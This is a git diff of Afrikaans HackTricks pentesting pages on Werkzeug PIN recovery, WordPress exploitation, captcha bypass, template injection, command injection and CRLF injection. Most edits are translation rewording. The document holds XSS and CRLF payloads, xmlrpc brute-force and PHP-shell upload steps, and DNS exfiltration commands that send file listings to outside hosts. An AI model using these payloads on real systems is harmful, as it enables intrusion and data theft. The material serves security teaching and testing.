'n desimale formaat vertaal. +- **`uuid.getnode()`**: Verkry die MAC-adres van die huidige masjien, met `str(uuid.getnode())` wat dit in 'n desimale formaat vertaal. -- Om **die bediener se MAC adres te bepaal**, moet een die aktiewe netwerk interfase wat deur die app gebruik word, identifiseer (bv. `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel ID te vind, dan **onttrek die MAC adres** van **`/sys/class/net//address`**. -- Om 'n hexadesimale MAC adres na desimaal om te skakel kan soos hieronder gedoen word: +- Om **die bediener se MAC-adres te bepaal**, moet 'n mens die aktiewe netwerk koppelvlak wat deur die app gebruik word, identifiseer (bv. `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel-ID te vind, dan **onttrek die MAC-adres** van **`/sys/class/net//address`**. +- Om 'n hexadesimale MAC-adres na desimaal om te skakel, kan dit soos hieronder gedoen word: ```python -# Voorbeeld MAC adres: 56:00:02:7a:23:ac +# Voorbeeld MAC-adres: 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692 ``` -- **`get_machine_id()`**: Kombineer data van `/etc/machine-id` of `/proc/sys/kernel/random/boot_id` met die eerste lyn van `/proc/self/cgroup` na die laaste skuinsstreep (`/`). +- **`get_machine_id()`**: Voeg data van `/etc/machine-id` of `/proc/sys/kernel/random/boot_id` saam met die eerste lyn van `/proc/self/cgroup` na die laaste skuinsstreep (`/`).
@@ -154,7 +153,9 @@ Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stu ## Geoutomatiseerde Exploitatie -{% embed url="https://github.com/Ruulian/wconsole_extractor" %} +{{#ref}} +https://github.com/Ruulian/wconsole_extractor +{{#endref}} ## Verwysings @@ -163,5 +164,4 @@ Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stu - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index b82b7da66..ef306401f 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -35,7 +35,7 @@ ### Gebruikers Toestemmings - **Administrateur** -- **Redakteur**: Publiseer en bestuur sy en ander se plasings +- **Redakteur**: Publiseer en bestuur sy en ander plasings - **Skrywer**: Publiseer en bestuur sy eie plasings - **Bydraer**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie - **Tekenaar**: Blader deur plasings en wysig hul profiel @@ -46,7 +46,7 @@ Kontroleer of jy die lêers `/license.txt` of `/readme.html` kan vind -Binne die **bronskode** van die bladsy (voorbeeld van [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Binne die **bronne kode** van die bladsy (voorbeeld van [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -120,9 +120,9 @@ Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_ ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**Kredensiaal Bruteforce** +**Geloofsbriewe Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is sommige van die metodes wat gebruik kan word om kredensiale te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur: +**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is sommige van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur: ```markup wp.getUsersBlogs @@ -174,7 +174,7 @@ Daar is ook 'n **sneller manier** om akrediteer te brute-force met **`system.mul **Om 2FA te omseil** -Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om in te log met daardie akrediteer terwyl jy 2FA omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan doen, kan uitvoer nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. As jy geldige akrediteer het, maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om met daardie akrediteer in te log en 2FA te omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan doen, kan uitvoer nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS of poort skandering** @@ -211,13 +211,13 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\ Wanneer hierdie lêer **geaccess** word, word 'n "**zware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\ -Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS). +Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek) aangeroep, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS). Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak). ### /wp-json/oembed/1.0/proxy - SSRF -Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek na jou maak. +Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek aan jou maak. Dit is die antwoord wanneer dit nie werk nie: @@ -225,9 +225,11 @@ Dit is die antwoord wanneer dit nie werk nie: ## SSRF -{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} +{{#ref}} +https://github.com/t0gu/quickpress/blob/master/core/requests.go +{{#endref}} -Hierdie hulpmiddel kontroleer of die **methodName: pingback.ping** en vir die pad **/wp-json/oembed/1.0/proxy** bestaan, en as dit bestaan, probeer dit om dit te exploiteer. +Hierdie hulpmiddel kontroleer of die **methodName: pingback.ping** bestaan en vir die pad **/wp-json/oembed/1.0/proxy** en as dit bestaan, probeer dit om dit te exploiteer. ## Outomatiese Hulpmiddels ```bash @@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Kry toegang deur 'n bietjie te oorskryf -Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omdraai. So jy kon die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP. +Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omflip. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omflip om die NOT (`!`) operasie te NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -252,7 +254,7 @@ Verander die inhoud na 'n php shell: ![](<../../images/image (384).png>) -Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang verkry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -283,7 +285,7 @@ Klik op Procced: ![](<../../images/image (70).png>) -Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien: +Waarskynlik sal dit niks blykbaar doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien: ![](<../../images/image (462).png>) @@ -293,7 +295,7 @@ Toegang daartoe en jy sal die URL sien om die omgekeerde shell uit te voer: ### Uploading and activating malicious plugin -Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en wat benut kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg: +Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en kan benut word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg: 1. **Plugin Verkryging**: Die plugin word verkry van 'n bron soos Exploit DB soos [**hier**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installasie**: @@ -302,7 +304,7 @@ Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is o 3. **Plugin Aktivering**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word. 4. **Eksploitering**: - Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit benut word aangesien dit bekend is om kwesbaar te wees. -- Die Metasploit-raamwerk bied 'n eksploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongeoorloofde toegang tot die webwerf bied. +- Die Metasploit-raamwerk bied 'n eksploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongeoorloofde toegang tot die webwerf verleen. - Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf te exploiteer. Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard vir die installasie en aktivering van die plugin uitbeeld. Dit is egter belangrik om op te let dat die eksploitering van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetrasietoetsing met eksplisiete toestemming. @@ -366,7 +368,7 @@ Die `permission_callback` is 'n terugroep na 'n funksie wat nagaan of 'n gegewe - **Direkte toegang tot die php-lêer** -Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, sal dit deur enige gebruiker uitgebuit kan word. +Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, gaan dit deur enige gebruiker uitgebuit kan word. ## WordPress Beskerming @@ -382,9 +384,9 @@ Ook, **installeer slegs betroubare WordPress-inproppe en temas**. ### Sekuriteitsinproppe -- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) -- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) -- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) +- [**Wordfence Sekuriteit**](https://wordpress.org/plugins/wordfence/) +- [**Sucuri Sekuriteit**](https://wordpress.org/plugins/sucuri-scanner/) +- [**iThemes Sekuriteit**](https://wordpress.org/plugins/better-wp-security/) ### **Ander Aanbevelings** diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index 07aba061d..436be002e 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -2,7 +2,6 @@ {{#include ./banners/hacktricks-training.md}} - ### Gasheer kop Verskeie kere vertrou die agterkant op die **Gasheer kop** om sekere aksies uit te voer. Byvoorbeeld, dit kan sy waarde gebruik as die **domein om 'n wagwoordherstel te stuur**. So wanneer jy 'n e-pos ontvang met 'n skakel om jou wagwoord te herstel, is die domein wat gebruik word die een wat jy in die Gasheer kop geplaas het. Dan kan jy die wagwoordherstel van ander gebruikers aanvra en die domein verander na een wat deur jou beheer word om hul wagwoordherstelkodes te steel. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). @@ -10,11 +9,10 @@ Verskeie kere vertrou die agterkant op die **Gasheer kop** om sekere aksies uit > [!WARNING] > Let daarop dat dit moontlik is dat jy selfs nie hoef te wag vir die gebruiker om op die wagwoordherstel skakel te klik om die token te kry nie, aangesien selfs **spamfilters of ander intermediêre toestelle/bots dit mag klik om dit te analiseer**. - ### Sessie booleans Soms wanneer jy 'n sekere verifikasie korrek voltooi, sal die agterkant **net 'n boolean met die waarde "True" by 'n sekuriteitsattribuut van jou sessie voeg**. Dan sal 'n ander eindpunt weet of jy daardie toets suksesvol geslaag het.\ -As jy egter die **toets slaag** en jou sessie daardie "True" waarde in die sekuriteitsattribuut toegeken word, kan jy probeer om **toegang te verkry tot ander hulpbronne** wat **afhang van dieselfde attribuut** maar waarvoor jy **nie toestemming behoort te hê nie**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +As jy egter **die toets slaag** en jou sessie daardie "True" waarde in die sekuriteitsattribuut toegeken word, kan jy probeer om **toegang te verkry tot ander hulpbronne** wat **afhang van dieselfde attribuut** maar waarvoor jy **nie toestemming behoort te hê nie**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). ### Registreer funksionaliteit @@ -26,7 +24,9 @@ Registreer 'n e-pos, voordat jy dit bevestig, verander die e-pos, dan, as die nu ### Toegang tot interne servicedesk van maatskappye wat atlassian gebruik -{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} +{{#ref}} +https://yourcompanyname.atlassian.net/servicedesk/customer/user/login +{{#endref}} ### TRACE metode @@ -34,5 +34,4 @@ Ontwikkelaars mag vergeet om verskeie foutopsporing opsies in die produksie-omge ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index f847dc607..97296f674 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -7,7 +7,7 @@ Om die **captcha** tydens **bedienertoetsing** te **omseil** en gebruikersinvoervunksies te outomatiseer, kan verskeie tegnieke gebruik word. Die doel is nie om sekuriteit te ondermyn nie, maar om die toetsproses te stroomlyn. Hier is 'n omvattende lys van strategieë: 1. **Parameter Manipulasie**: -- **Omkrap die Captcha Parameter**: Vermy om die captcha parameter te stuur. Experimenteer met die verandering van die HTTP-metode van POST na GET of ander werkwoorde, en die verandering van die dataformaat, soos om tussen vormdata en JSON te wissel. +- **Omkrap die Captcha Parameter**: Vermy om die captcha parameter te stuur. Eksperimenteer met die verandering van die HTTP-metode van POST na GET of ander werkwoorde, en die verandering van die dataformaat, soos om tussen vormdata en JSON te wissel. - **Stuur Leë Captcha**: Dien die versoek in met die captcha parameter teenwoordig maar leeg gelaat. 2. **Waarde Uittrekking en Hergebruik**: - **Bronkode Inspeksie**: Soek na die captcha waarde binne die bladsy se bronkode. @@ -23,15 +23,17 @@ Om die **captcha** tydens **bedienertoetsing** te **omseil** en gebruikersinvoer - **Tarieflimiet Toetsing**: Kontroleer of die toepassing die aantal pogings of indienings in 'n gegewe tydraamwerk beperk en of hierdie limiet omseil of teruggestel kan word. - **Derdeparty Dienste**: Gebruik captcha-oplossingsdienste of API's wat outomatiese captcha erkenning en oplossing bied. - **Sessie en IP Rotasie**: Verander gereeld sessie-ID's en IP-adresse om opsporing en blokkering deur die bediener te vermy. -- **User-Agent en Header Manipulasie**: Verander die User-Agent en ander versoekheaders om verskillende blaaiers of toestelle na te boots. +- **User-Agent en Kop Manipulasie**: Verander die User-Agent en ander versoekkoppe om verskillende blaaiers of toestelle na te boots. - **Klank Captcha Analise**: As 'n klank captcha opsie beskikbaar is, gebruik spraak-naar-teks dienste om die captcha te interpreteer en op te los. ## Aanlyn Dienste om captchas op te los ### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) -[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) is 'n KI-gedrewe diens wat spesialiseer in die outomatiese oplossing van verskeie tipes captchas, bemagtig data-insameling deur ontwikkelaars te help om maklik die captcha-uitdagings wat tydens Web Scraping ondervind word, te oorkom. Dit ondersteun captchas soos **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, en Cloudflare turnstile onder andere**. Vir ontwikkelaars bied Capsolver API-integrasie opsies wat in [**dokumentasie**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** uiteengesit word, wat die integrasie van captcha-oplossing in toepassings fasiliteer. Hulle bied ook blaaierspesies vir [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) en [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), wat dit maklik maak om hul diens direk binne 'n blaier te gebruik. Verskillende prys pakkette is beskikbaar om verskillende behoeftes te akkommodeer, wat buigsaamheid vir gebruikers verseker. +[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) is 'n KI-gedrewe diens wat spesialiseer in die outomatiese oplossing van verskillende tipes captchas, en bemagtig dataverzameling deur ontwikkelaars te help om maklik die captcha-uitdagings wat tydens Web Scraping ondervind word, te oorkom. Dit ondersteun captchas soos **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, en Cloudflare turnstile onder andere**. Vir ontwikkelaars bied Capsolver API-integrasie opsies wat in [**dokumentasie**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** uiteengesit word, wat die integrasie van captcha-oplossing in toepassings fasiliteer. Hulle bied ook blaaierspesies aan vir [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) en [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), wat dit maklik maak om hul diens direk binne 'n blaier te gebruik. Verskillende pryspakkette is beskikbaar om verskillende behoeftes te akkommodeer, wat buigsaamheid vir gebruikers verseker. -{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %} +{{#ref}} +https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index afbd21c7a..a532c7aff 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -1,17 +1,16 @@ -# Klientkant Sjabloon Inspuiting (CSTI) +# Kliëntkant Sjabloon Inspuiting (CSTI) {{#include ../banners/hacktricks-training.md}} - ## Samevatting -Dit is soos 'n [**Server Side Template Injection**](ssti-server-side-template-injection/) maar in die **klient**. Die **SSTI** kan jou toelaat om **kode** op die afstandsbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer. +Dit is soos 'n [**Bediener Kant Sjabloon Inspuiting**](ssti-server-side-template-injection/) maar in die **kliënt**. Die **SSTI** kan jou toelaat om **kode** op die afstandbediener uit te voer, die **CSTI** kan jou toelaat om **arbitraire JavaScript** kode in die slagoffer se blaaier uit te voer. **Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** aan die geval van **SSTI**, die interpreter verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n payload soos `{{ 7-7 }}`, as die app **kwesbaar** is, sal jy 'n `0` sien, en as nie, sal jy die oorspronklike sien: `{{ 7-7 }}` ## AngularJS -AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is **`ng-app`**. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak. +AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as riglyne, 'n noemenswaardige een is **`ng-app`**. Hierdie riglyn laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak. In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word wat met `ng-app` gemerk is, is dit moontlik om arbitraire JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word: ```javascript @@ -22,10 +21,9 @@ In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word w
``` -U kan 'n baie **basiese aanlyn voorbeeld** van die kwesbaarheid in **AngularJS** vind in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) en in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) +U kan 'n baie **basiese aanlynvoorbeeld** van die kwesbaarheid in **AngularJS** vind in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) en in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) -> [!CAUTION] -> [**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe behoort 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `` te werk. +> [!CAUTION] > [**Angular 1.6 het die sandbox verwyder**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so vanaf hierdie weergawe behoort 'n payload soos `{{constructor.constructor('alert(1)')()}}` of `` te werk. ## VueJS @@ -43,7 +41,7 @@ En die **bronkode** van die kwesbare voorbeeld hier: [https://github.com/azu/vue ``` {{_openBlock.constructor('alert(1)')()}} ``` -Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +Krediet: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V2** ``` @@ -71,9 +69,10 @@ javascript:alert(1)%252f%252f..%252fcss-images ``` **Meer payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) -## **Brute-Force Opsporingslys** - -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} +## **Brute-Force Opsporing Lys** +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 93e9f2b14..9712cd22c 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,14 +2,13 @@ {{#include ../banners/hacktricks-training.md}} - ## Wat is opdraginjektering? -'n **opdraginjektering** stel 'n aanvaller in staat om arbitrêre bedryfstelselsopdragte op die bediener wat 'n toepassing huisves, uit te voer. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry. +'n **opdraginjektering** laat die uitvoering van arbitrêre bedryfstelselsopdragte deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry. ### Konteks -Afhangende van **waar jou invoer ingesluit word**, mag jy nodig hê om die **gekwoteerde konteks te beëindig** (met `"` of `'`) voor die opdragte. +Afhangende van **waar jou invoer ingesluit word**, mag jy die **geciteerde konteks beëindig** (met `"` of `'`) voordat die opdragte uitgevoer word. ## Opdraginjektering/Uitvoering ```bash @@ -74,7 +73,7 @@ Hier is die top 25 parameters wat kwesbaar kan wees vir kode-inspuiting en soort ?run={payload} ?print={payload} ``` -### Tydgebaseerde data-uitkapping +### Tydgebaseerde data-uitvoer Data onttrek: karakter vir karakter ``` @@ -100,7 +99,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Aanlyn gereedskap om vir DNS-gebaseerde data-uitvloeiing te kyk: +Aanlyn gereedskap om DNS-gebaseerde data-uitvloeiing te kontroleer: - dnsbin.zhack.ca - pingb.in @@ -118,9 +117,11 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -## Brute-Force Detectie Lys +## Brute-Force Opsporing Lys -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt +{{#endref}} ## Verwysings diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index 7d72709ed..d7f942760 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -2,8 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - - ### CRLF Carriage Return (CR) en Line Feed (LF), saam bekend as CRLF, is spesiale karakterreekse wat in die HTTP-protokol gebruik word om die einde van 'n lyn of die begin van 'n nuwe een aan te dui. Webbedieners en blaaiers gebruik CRLF om te onderskei tussen HTTP-koptekste en die liggaam van 'n antwoord. Hierdie karakters word universeel in HTTP/1.1 kommunikasie oor verskeie webbediener tipes, soos Apache en Microsoft IIS, gebruik. @@ -37,7 +35,7 @@ Die aanvaller verberg dus hul kwaadwillige aktiwiteite deur dit te laat lyk asof #### Beskrywing -HTTP Response Splitting is 'n sekuriteitskwesbaarheid wat ontstaan wanneer 'n aanvaller die struktuur van HTTP-antwoorde benut. Hierdie struktuur skei kopstukke van die liggaam deur 'n spesifieke karaktervolgorde, Carriage Return (CR) gevolg deur Line Feed (LF), wat saam as CRLF genoem word. As 'n aanvaller daarin slaag om 'n CRLF-volgorde in 'n antwoordkopstuk in te voeg, kan hulle effektief die daaropvolgende antwoordinhoud manipuleer. Hierdie tipe manipulasie kan lei tot ernstige sekuriteitskwessies, veral Cross-site Scripting (XSS). +HTTP Response Splitting is 'n sekuriteitskwesbaarheid wat ontstaan wanneer 'n aanvaller die struktuur van HTTP-antwoorde benut. Hierdie struktuur skei kopstukke van die liggaam deur 'n spesifieke karaktervolgorde, Carriage Return (CR) gevolg deur Line Feed (LF), wat saam as CRLF genoem word. As 'n aanvaller daarin slaag om 'n CRLF-volgorde in 'n antwoordkopstuk in te voeg, kan hulle effektief die daaropvolgende antwoordinhoud manipuleer. Hierdie tipe manipulasie kan lei tot ernstige sekuriteitsprobleme, veral Cross-site Scripting (XSS). #### XSS deur HTTP Response Splitting @@ -70,11 +68,15 @@ Jy kan die payload **binne die URL pad** stuur om die **antwoord** van die bedie http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` -{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} +Check meer voorbeelde in: + +{{#ref}} +https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md +{{#endref}} ### HTTP Header Injection -HTTP Header Injection, wat dikwels deur CRLF (Carriage Return en Line Feed) inspuiting uitgebuit word, stel aanvallers in staat om HTTP-koptekste in te voeg. Dit kan sekuriteitsmeganismes soos XSS (Cross-Site Scripting) filters of die SOP (Same-Origin Policy) ondermyn, wat moontlik kan lei tot ongemagtigde toegang tot sensitiewe data, soos CSRF tokens, of die manipulasie van gebruikersessies deur koekie-plasing. +HTTP Header Injection, wat dikwels deur CRLF (Carriage Return and Line Feed) inspuiting uitgebuit word, stel aanvallers in staat om HTTP-koptekste in te voeg. Dit kan sekuriteitsmeganismes soos XSS (Cross-Site Scripting) filters of die SOP (Same-Origin Policy) ondermyn, wat moontlik kan lei tot ongemagtigde toegang tot sensitiewe data, soos CSRF tokens, of die manipulasie van gebruikersessies deur koekie-plasing. #### Exploiting CORS via HTTP Header Injection 